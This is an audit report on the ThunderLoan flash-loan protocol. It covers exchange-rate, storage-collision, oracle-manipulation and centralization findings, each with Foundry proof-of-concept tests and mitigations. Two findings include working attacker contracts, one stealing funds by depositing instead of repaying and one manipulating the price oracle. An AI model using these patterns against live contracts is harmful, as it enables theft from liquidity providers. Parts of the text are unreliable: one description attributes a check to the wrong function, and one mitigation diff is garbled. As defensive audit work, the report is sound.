Protocol Audit Report

Version 1.0

khal45

October 15, 2025

Protocol Audit Report

khal45

15th October, 2025

Prepared by: khal45 Lead Auditors:

- khal45

Table of Contents

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

Disclaimer

Khal45 makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

```
./src/
-- interfaces
   -- IFlashLoanReceiver.sol
   -- IPoolFactory.sol
   -- ITSwapPool.sol
   -- IThunderLoan.sol
./src/
-- protocol
   -- AssetToken.sol
   -- OracleUpgradeable.sol
   -- ThunderLoan.sol
./src/
-- upgradedProtocol
    -- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Over the course of the security review, khal45 engaged with the protocol to review it. In this period of time a total of 15 issues were found

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	3
Informational	4
Gas	3

Findings

High

[H-1] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes the protocol to think it has more fees than it really does, which blocks redemptions and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between the assetTokens and the underlying tokens. In a way, it's responsible for keeping track of how many fees to give liquidity providers. However the `deposit` function updates this rate without collecting any fees!

```
1       function deposit(IERC20 token, uint256 amount) external
            revertIfZero(amount) revertIfNotAllowedToken(token) {
2           AssetToken assetToken = s_tokenToAssetToken[token]; // e:
                represents the shares of the pool
3           uint256 exchangeRate = assetToken.getExchangeRate();
4           uint256 mintAmount = (amount * assetToken.
                EXCHANGE_RATE_PRECISION()) / exchangeRate;
5           emit Deposit(msg.sender, token, amount);
6           assetToken.mint(msg.sender, mintAmount);
7
8   @>        uint256 calculatedFee = getCalculatedFee(token, amount);
9   @>        assetToken.updateExchangeRate(calculatedFee);
10
11          token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
12      }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has
2. Rewards are incorrectly calculated, leading liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP deposits
2. User takes a flash loan
3. It is now impossible for LP to redeem

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
1       function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2           uint256 amountToBorrow = AMOUNT * 10;
3           uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
                amountToBorrow);
4
5           vm.startPrank(user);
6           tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
7           thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
                amountToBorrow, "");
8           vm.stopPrank();
9
10          uint256 amountToRedeem = type(uint256).max;
11          vm.startPrank(liquidityProvider);
12          thunderLoan.redeem(tokenA, amountToRedeem);
13      }
```

Recommended Mitigation: Remove the incorrect updated exchange rate lines from `deposit`

```
 function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token]; // e:
            represents the shares of the pool
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

-        uint256 calculatedFee = getCalculatedFee(token, amount);
-        assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] Funds can be stolen via flash loans if users call `ThunderLoan::deposit` after taking a flash loan instead of repaying

Description: The `deposit` function checks that the balance of the borrowed token in the asset token contract is not less than the starting balance plus the fee. This enables an attacker to deposit the flash loan and fee back into the asset token contract which makes the balance of the asset token contract to be the same as the initial balance plus the fees. Since the balance of the token in the asset token contract is the same as the starting plus the fee, the `flashloan` function does not revert. The attacker can then redeem the deposited contract

Impact: An attacker can potentially drain the protcol by repeatedly taking flash loans, depositing back into the protocol and redeeming them

Proof of Concept:

1. Attacker creates a flashloan receiver that deposits back instead of calling `ThunderLoan::repay`
2. The attacker then redeems the deposited token

Add the following contract to `ThunderLoanTest.t.sol`

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
```

```
7           thunderLoan = ThunderLoan(_thunderLoan);
8       }
9
10      function executeOperation(
11          address token,
12          uint256 amount,
13          uint256 fee,
14          address, /*initiator*/
15          bytes calldata /*params*/
16      )
17          external
18          returns (bool)
19      {
20          s_token = IERC20(token);
21          assetToken = thunderLoan.getAssetFromToken(IERC20(token));
22          IERC20(token).approve(address(thunderLoan), amount + fee);
23          thunderLoan.deposit(IERC20(token), amount + fee);
24          return true;
25      }
26
27      function redeemMoney() public {
28          uint256 amount = assetToken.balanceOf(address(this));
29          thunderLoan.redeem(s_token, amount);
30      }
31  }
```

Then add this test

```
1   function testUseDepositInsteadOfRepayToStealFunds() public
        setAllowedToken hasDeposits {
2           vm.startPrank(user);
3           uint256 amountToBorrow = 50e18;
4           uint256 fee = thunderLoan.getCalculatedFee(tokenA,
                amountToBorrow);
5           DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
                ));
6           tokenA.mint(address(dor), fee);
7           thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
                ;
8           dor.redeemMoney();
9           vm.stopPrank();
10
11          assertGt(tokenA.balanceOf(address(dor)), 50e18 + fee);
12      }
```

This clearly shows that the attacker ended up with the loan taken plus fees

Recommended Mitigation: Add a check in deposit() to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in flashloan() and checking it in deposit().

[H-3] Mixing up variable locations causes storage collisions in `Thunder::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has two variables in the following order:

```
1     uint256 private s_feePrecision;
2     uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
1     uint256 private s_flashLoanFee; // 0.3% ETH fee
2     uint256 public constant FEE_PRECISION = 1e18;
```

Due to how solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variable, and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping with storage will start in the wrong storage slot.

Proof of Concept:

Proof Of Code

Place the following into `ThunderLoanTest.t.sol`.

```
1  import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
       ThunderLoanUpgraded.sol";
2  .
3  .
4  .
5      function testUpgradeBreaks() public {
6          uint256 feeBeforeUpgrade = thunderLoan.getFee();
7          vm.startPrank(thunderLoan.owner());
8          ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
9          thunderLoan.upgradeToAndCall(address(upgraded), "");
10         uint256 feeAfterUpgrade = thunderLoan.getFee();
11         vm.stopPrank();
12
13         console.log("fee before:", feeBeforeUpgrade);
14         console.log("fee after:", feeAfterUpgrade);
15         assertNotEq(feeBeforeUpgrade, feeAfterUpgrade);
16     }
```

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots.

```
-     uint256 private s_flashLoanFee; // 0.3% ETH fee
-     uint256 public constant FEE_PRECISION = 1e18;
+     uint256 private s_blank;
      uint256 private s_flashLoanFee; // 0.3% ETH fee
      uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Relying on TSwapPool reserves allows users to get way cheaper fees if they manipulate the reserves with a flash loan

Description: In `ThunderLoan::flashLoan` we get the calculated fee in weth based on the price of the `TSwapPool` reserves. A user can take a massive flashLoan of a token and deposit it in the `TSwapPool` reserves altering the ratio of the token to WETH essentially reducing the price in WETH of the token. Since `ThunderLoan` relies on the pool for it's price oracle the calculated fee will be way cheaper on a second flash loan since the token is now valued way less.

Impact: Liquidity providers get way less fees for providing liquidity

Proof of Concept:

1. Add the following contract to `ThunderLoanTest.t.sol`

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _tswapPool, address _thunderLoan, address
        _repayAddress) {
        tswapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
```

```
        returns (bool)
    {
        if (!attacked) {
            // 1. Swap TokenA borrowed for weth
            // 2. Take out another flash loan, to show the difference
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            IERC20(token).approve(address(tswapPool), 50e18);
            // Tanks price!
            tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);
            // we call a second flash loan!!!
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                 "");
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee
                );
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        } else {
            // calculate the fee and repay
            feeTwo = fee;
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee
                );
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
        }
        return true;
    }
}
```

2. Add the following test to show the difference in fees

```
function testOracleManipulation() public {
        // 1. Setup contracts!
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
            ;
        // Create a TSwap Dex between WETH / TokenA
        address tswapPool = pf.createPool(address(tokenA));
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
```

```
13          vm.startPrank(liquidityProvider);
14          tokenA.mint(liquidityProvider, 100e18);
15          tokenA.approve(address(tswapPool), 100e18);
16          weth.mint(liquidityProvider, 100e18);
17          weth.approve(address(tswapPool), 100e18);
18          BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
                timestamp);
19          vm.stopPrank();
20          // Ratio 100 WETH & 100 TokenA
21          // Price: 1:1
22
23          // 3. Fund ThunderLoan
24          // Set allow
25          vm.prank(thunderLoan.owner());
26          thunderLoan.setAllowedToken(tokenA, true);
27
28          // Fund it
29          vm.startPrank(liquidityProvider);
30          tokenA.mint(liquidityProvider, 1000e18);
31          tokenA.approve(address(thunderLoan), 1000e18);
32          thunderLoan.deposit(tokenA, 1000e18);
33          vm.stopPrank();
34
35          // 100 WETH & 100 TokenA in TSwap
36          // 1000 TokenA in ThunderLoan
37          // Take out a flash loan of 50 tokenA
38          // swap it on the dex, tanking the price > 150
39          // Take out another flash loan of 50 tokenA (and we'll see how
                much cheaper it is!!)
40
41          // 4. We are going to take out 2 flash loans
42          //      a. To nuke the price of the Weth/TokenA on TSwap
43          //      b. To show that doing so greatly reduces the fees we
                pay on ThunderLoan
44          uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
                100e18);
45          console.log("Normal fee is:", normalFeeCost);
46          // 0.296147410319118389
47
48          uint256 amountToBorrow = 50e18; // we are gonna do this twice
49          MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
                (
50              address(tswapPool), address(thunderLoan), address(
                    thunderLoan.getAssetFromToken(tokenA))
51          );
52          vm.startPrank(user);
53          // mint some tokens to cover the fees
54          tokenA.mint(address(flr), 100e18);
55          thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
                ;
56          vm.stopPrank();
```

```
57
58          uint256 attackFee = flr.feeOne() + flr.feeTwo();
59          console.log("Attack fee is:", attackFee);
60          assertLt(attackFee, normalFeeCost);
61      }
```

from the test we can clearly see the user pays way less fees than expected

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a uniswap TWAP fallback oracle.

[M-2] Centralization risk for trusted owners

Impact:

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

Instances (2):

```
1 File: src/protocol/ThunderLoan.sol
2
3 223:     function setAllowedToken(IERC20 token, bool allowed) external
      onlyOwner returns (AssetToken) {
4
5 261:     function _authorizeUpgrade(address newImplementation) internal
      override onlyOwner { }
```

Contralized owners can brick redemptions by disapproving of a specific token

Low

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
1 File: src/protocol/ThunderLoan.sol
2
3 261:     function _authorizeUpgrade(address newImplementation) internal
      override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
File: src/protocol/OracleUpgradeable.sol

11:     function __Oracle_init(address poolFactoryAddress) internal
   onlyInitializing {
```

```
File: src/protocol/ThunderLoan.sol

138:     function initialize(address tswapAddress) external initializer
    {

138:     function initialize(address tswapAddress) external initializer
    {

139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

[L-3] Missing critial event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
+    event FlashLoanFeeUpdated(uint256 newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > s_feePrecision) {
            revert ThunderLoan__BadNewFee();
        }
        s_flashLoanFee = newFee;
+       emit FlashLoanFeeUpdated(newFee);
    }
```

Informational

[I-1] Poor Test Coverage

```
Running tests...
```

```
| File                                | % Lines        | % Statements
   | % Branches    | % Funcs        |
| ----------------------------------- | -------------- | --------------
   | ------------- | -------------- |
| src/protocol/AssetToken.sol         | 70.00% (7/10)  | 76.92% (10/13)
   | 50.00% (1/2)  | 66.67% (4/6)   |
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)  | 100.00% (9/9)
   | 100.00% (0/0) | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol        | 64.52% (40/62) | 68.35% (54/79)
   | 37.50% (6/16) | 71.43% (10/14) |
```

[I-2] Not using `__gap[50]` for future storage collision mitigation

[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

[I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
   s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```